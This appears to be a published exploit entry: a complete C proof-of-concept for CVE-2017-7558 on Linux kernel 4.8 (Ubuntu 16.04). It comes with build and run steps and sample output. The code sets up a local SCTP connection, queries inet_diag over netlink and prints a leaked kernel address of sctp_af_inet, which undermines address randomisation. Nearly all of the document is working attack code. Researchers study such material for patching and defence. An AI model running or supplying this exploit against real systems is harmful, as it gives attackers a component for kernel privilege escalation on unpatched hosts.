# Exploit Title: Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp kernel pointer # Google Dork: - # Date: 2018-11-20 # Exploit Author: Jinbum Park # Vendor Homepage: - # Software Link: - # Version: Linux Kernel 4.8 (Ubuntu 16.04) # Tested on: 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux # CVE: 2017-7558 # Category: Local /* * [ Briefs ] * - CVE-2017-7558 has discovered and reported by Stefano Brivio of the Red Hat. (but, no publicly available exploit) * - This is local exploit against the CVE-2017-7558. * * [ Tested version ] * - 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux * * [ Prerequisites ] * - sudo apt-get install libsctp-dev * * [ Goal ] * - Leak kernel symbol address of "sctp_af_inet" * * [ Run exploit ] * - $ gcc poc.c -o poc -lsctp -lpthread * - $ ./poc * [] Waiting for connection * [] New client connected * [] Received data: Hello, Server! * [] sctp_af_inet address : 0 * [] sctp_af_inet address : ffffffffc0c541e0 * [] sctp_af_inet address : 0 * [] sctp_af_inet address : ffffffffc0c541e0 (leaked kernel pointer) * - $ sudo cat /proc/kallsyms | grep sctp_af_inet (Check whether leaked pointer value is corret) * ffffffffc0c541e0 d sctp_af_inet [sctp] * * [ Contact ] * - jinb.park7@gmail.com */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MY_PORT_NUM 62324 struct sctp_info { __u32 sctpi_tag; __u32 sctpi_state; __u32 sctpi_rwnd; __u16 sctpi_unackdata; __u16 sctpi_penddata; __u16 sctpi_instrms; __u16 sctpi_outstrms; __u32 sctpi_fragmentation_point; __u32 sctpi_inqueue; __u32 sctpi_outqueue; __u32 sctpi_overall_error; __u32 sctpi_max_burst; __u32 sctpi_maxseg; __u32 sctpi_peer_rwnd; __u32 sctpi_peer_tag; __u8 sctpi_peer_capable; __u8 sctpi_peer_sack; __u16 __reserved1; /* assoc status info */ __u64 sctpi_isacks; __u64 sctpi_osacks; __u64 sctpi_opackets; __u64 sctpi_ipackets; __u64 sctpi_rtxchunks; __u64 sctpi_outofseqtsns; __u64 sctpi_idupchunks; __u64 sctpi_gapcnt; __u64 sctpi_ouodchunks; __u64 sctpi_iuodchunks; __u64 sctpi_oodchunks; __u64 sctpi_iodchunks; __u64 sctpi_octrlchunks; __u64 sctpi_ictrlchunks; /* primary transport info */ struct sockaddr_storage sctpi_p_address; __s32 sctpi_p_state; __u32 sctpi_p_cwnd; __u32 sctpi_p_srtt; __u32 sctpi_p_rto; __u32 sctpi_p_hbinterval; __u32 sctpi_p_pathmaxrxt; __u32 sctpi_p_sackdelay; __u32 sctpi_p_sackfreq; __u32 sctpi_p_ssthresh; __u32 sctpi_p_partial_bytes_acked; __u32 sctpi_p_flight_size; __u16 sctpi_p_error; __u16 __reserved2; /* sctp sock info */ __u32 sctpi_s_autoclose; __u32 sctpi_s_adaptation_ind; __u32 sctpi_s_pd_point; __u8 sctpi_s_nodelay; __u8 sctpi_s_disable_fragments; __u8 sctpi_s_v4mapped; __u8 sctpi_s_frag_interleave; __u32 sctpi_s_type; __u32 __reserved3; }; enum { SS_UNKNOWN, SS_ESTABLISHED, SS_SYN_SENT, SS_SYN_RECV, SS_FIN_WAIT1, SS_FIN_WAIT2, SS_TIME_WAIT, SS_CLOSE, SS_CLOSE_WAIT, SS_LAST_ACK, SS_LISTEN, SS_CLOSING, SS_MAX }; enum sctp_state { SCTP_STATE_CLOSED = 0, SCTP_STATE_COOKIE_WAIT = 1, SCTP_STATE_COOKIE_ECHOED = 2, SCTP_STATE_ESTABLISHED = 3, SCTP_STATE_SHUTDOWN_PENDING = 4, SCTP_STATE_SHUTDOWN_SENT = 5, SCTP_STATE_SHUTDOWN_RECEIVED = 6, SCTP_STATE_SHUTDOWN_ACK_SENT = 7, }; enum { TCP_ESTABLISHED = 1, TCP_SYN_SENT, TCP_SYN_RECV, TCP_FIN_WAIT1, TCP_FIN_WAIT2, TCP_TIME_WAIT, TCP_CLOSE, TCP_CLOSE_WAIT, TCP_LAST_ACK, TCP_LISTEN, TCP_CLOSING, /* Now a valid state */ TCP_NEW_SYN_RECV, TCP_MAX_STATES /* Leave at the end! */ }; enum sctp_sock_state { SCTP_SS_CLOSED = TCP_CLOSE, SCTP_SS_LISTENING = TCP_LISTEN, SCTP_SS_ESTABLISHING = TCP_SYN_SENT, SCTP_SS_ESTABLISHED = TCP_ESTABLISHED, SCTP_SS_CLOSING = TCP_CLOSE_WAIT, }; static volatile int servser_stop_flag = 0; static volatile int client_stop_flag = 0; static void *server_thread(void *arg) { int listen_fd, conn_fd, flags, ret, in; char buffer[1024]; struct sctp_sndrcvinfo sndrcvinfo; struct sockaddr_in servaddr = { .sin_family = AF_INET, .sin_addr.s_addr = htonl(INADDR_ANY), .sin_port = htons(MY_PORT_NUM), }; struct sctp_initmsg initmsg = { .sinit_num_ostreams = 5, .sinit_max_instreams = 5, .sinit_max_attempts = 4, }; listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); if (listen_fd < 0) return NULL; ret = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr)); if (ret < 0) return NULL; ret = setsockopt(listen_fd, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg)); if (ret < 0) return NULL; ret = listen(listen_fd, initmsg.sinit_max_instreams); if (ret < 0) return NULL; printf("[] Waiting for connection\n"); conn_fd = accept(listen_fd, (struct sockaddr *) NULL, NULL); if(conn_fd < 0) return NULL; printf("[] New client connected\n"); in = sctp_recvmsg(conn_fd, buffer, sizeof(buffer), NULL, 0, &sndrcvinfo, &flags); if (in > 0) { printf("[] Received data: %s\n", buffer); } while (servser_stop_flag == 0) sleep(1); close(conn_fd); return NULL; } static void *client_thread(void *arg) { int conn_fd, ret; const char *msg = "Hello, Server!"; struct sockaddr_in servaddr = { .sin_family = AF_INET, .sin_port = htons(MY_PORT_NUM), .sin_addr.s_addr = inet_addr("127.0.0.1"), }; conn_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); if (conn_fd < 0) return NULL; ret = connect(conn_fd, (struct sockaddr *) &servaddr, sizeof(servaddr)); if (ret < 0) return NULL; ret = sctp_sendmsg(conn_fd, (void *) msg, strlen(msg) + 1, NULL, 0, 0, 0, 0, 0, 0 ); if (ret < 0) return NULL; while (client_stop_flag == 0) sleep(1); close(conn_fd); return NULL; } //Copied from libmnl source #define SOCKET_BUFFER_SIZE (getpagesize() < 8192L ? getpagesize() : 8192L) int send_diag_msg(int sockfd){ struct msghdr msg; struct nlmsghdr nlh; struct inet_diag_req_v2 conn_req; struct sockaddr_nl sa; struct iovec iov[4]; int retval = 0; //For the filter struct rtattr rta; void *filter_mem = NULL; int filter_len = 0; memset(&msg, 0, sizeof(msg)); memset(&sa, 0, sizeof(sa)); memset(&nlh, 0, sizeof(nlh)); memset(&conn_req, 0, sizeof(conn_req)); sa.nl_family = AF_NETLINK; conn_req.sdiag_family = AF_INET; conn_req.sdiag_protocol = IPPROTO_SCTP; conn_req.idiag_states = SCTP_SS_CLOSED; conn_req.idiag_ext |= (1 << (INET_DIAG_INFO - 1)); nlh.nlmsg_len = NLMSG_LENGTH(sizeof(conn_req)); nlh.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST; nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; iov[0].iov_base = (void*) &nlh; iov[0].iov_len = sizeof(nlh); iov[1].iov_base = (void*) &conn_req; iov[1].iov_len = sizeof(conn_req); //Set essage correctly msg.msg_name = (void*) &sa; msg.msg_namelen = sizeof(sa); msg.msg_iov = iov; if(filter_mem == NULL) msg.msg_iovlen = 2; else msg.msg_iovlen = 4; retval = sendmsg(sockfd, &msg, 0); if(filter_mem != NULL) free(filter_mem); return retval; } void parse_diag_msg(struct inet_diag_msg *diag_msg, int rtalen){ struct rtattr *attr; struct sctp_info *sctpi; int i; unsigned char *ptr; if(diag_msg->idiag_family != AF_INET && diag_msg->idiag_family != AF_INET6) { fprintf(stderr, "Unknown family\n"); return; } if(rtalen > 0){ attr = (struct rtattr*) (diag_msg+1); while(RTA_OK(attr, rtalen)){ if(attr->rta_type == INET_DIAG_INFO){ // leak kernel pointer here!! sctpi = (struct sctp_info*) RTA_DATA(attr); ptr = ((unsigned char *)&sctpi->sctpi_p_address + 32); printf("[] sctp_af_inet address : %lx\n", *(unsigned long *)ptr); } attr = RTA_NEXT(attr, rtalen); } } } int main(int argc, char *argv[]){ int nl_sock = 0, numbytes = 0, rtalen = 0; struct nlmsghdr *nlh; uint8_t recv_buf[SOCKET_BUFFER_SIZE]; struct inet_diag_msg *diag_msg; pthread_t sctp_server; pthread_t sctp_client; // run sctp server & client if (pthread_create(&sctp_server, NULL, server_thread, NULL)) return EXIT_FAILURE; sleep(2); if (pthread_create(&sctp_client, NULL, client_thread, NULL)) return EXIT_FAILURE; sleep(2); // run inet_diag if((nl_sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_INET_DIAG)) == -1){ perror("socket: "); return EXIT_FAILURE; } if(send_diag_msg(nl_sock) < 0){ perror("sendmsg: "); return EXIT_FAILURE; } while(1){ numbytes = recv(nl_sock, recv_buf, sizeof(recv_buf), 0); nlh = (struct nlmsghdr*) recv_buf; while(NLMSG_OK(nlh, numbytes)){ if(nlh->nlmsg_type == NLMSG_DONE) { return EXIT_SUCCESS; } if(nlh->nlmsg_type == NLMSG_ERROR){ fprintf(stderr, "Error in netlink message\n"); return EXIT_FAILURE; } diag_msg = (struct inet_diag_msg*) NLMSG_DATA(nlh); rtalen = nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*diag_msg)); parse_diag_msg(diag_msg, rtalen); nlh = NLMSG_NEXT(nlh, numbytes); } } printf("loop next\n"); // exit threads client_stop_flag = 1; if (pthread_join(sctp_client, NULL)) return EXIT_FAILURE; servser_stop_flag = 1; if (pthread_join(sctp_server, NULL)) return EXIT_FAILURE; printf("end\n"); return EXIT_SUCCESS; }